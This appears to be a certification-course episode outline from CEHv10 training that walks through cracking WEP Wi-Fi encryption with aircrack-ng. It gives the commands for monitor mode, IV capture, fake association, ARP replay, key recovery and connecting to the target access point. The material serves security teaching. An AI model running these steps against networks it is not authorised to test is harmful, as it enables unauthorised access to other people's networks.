- Filename: eccouncil-ceh31250-v10-16-4-1-wireless_hacking_cracking_wep.md
- Show Name: CEHv10 (312-50)
- Topic Name: Attacks and Exploits
- Episode Name: Wireless Hacking: Cracking WEP
- Description: In this episode, Daniel and Zach take you through the process of cracking WEP encrypted wireless networks using the Aircrack-NG suite of wireless hacking tools.

==

Wireless Hacking: Cracking WEP

- **I've heard you say that WEP is an insecure protocol. Why is that?**
    - The IV used is weak
        - 24-bit (too short)
        - Sent in clear-text
        - RC4 algorithm creates cryptographically weak IVs, susceptible to cracking
- **I notice that you have a wireless Access point under the podium. Are we in for a demonstration?**
    - `airmon-ng start wlan0`
    - Kill all processes suggested by airmon-ng
    - `airodump-ng wlan0mon`
        - **Can you explain what it is we're looking at here?**
        - Find desired network name
        - Copy BSSID
    - Open new terminal
        - Create capture file containing IVs
            - `airodump-ng -c 6 -w capture_file --bssid XX:XX:XX:XX:XX:XX wlan0mon`
    - Open new terminal
        - Attempt to associate attacker wireless card with target AP
            - `aireplay-ng -1 0 -a XX:XX:XX:XX:XX:XX wlan0mon`
                - Should get "Association successful :-) "
        - Perform ARP replay attack to increase the amount network traffic
            - `aireplay-ng -3 -b XX:XX:XX:XX:XX:XX wlan0mon`
                - Helps to increase the IVs generated by the AP
                    - We need a few thousand (15k - 50k)
- **So once we have enough IVs, we can then attempt to crack the WEP Key?**
    - Open a new terminal
        - Time to crack the WEP key
            - `aircrack-ng capture_file-01.cap`
                - KEY FOUND! [F2:C7:BB:35:B9]
                - Or capture more IVs and try again
                    - Crack `belkinWEP-04.cap`
- **Now that we have cracked the WEP Key, how do we use that to connect to the target's Access Point?**
    - Stop monitoring on wlan0mon

    - `airmon-ng stop wlan0mon`
- Close all open terminals
- Restart the *Network Manager*
    - `service network-manager start`
- Use the GUI to attempt to connect with the target's AP
- Type in the WEP Key (without colons)
- You should be connected :)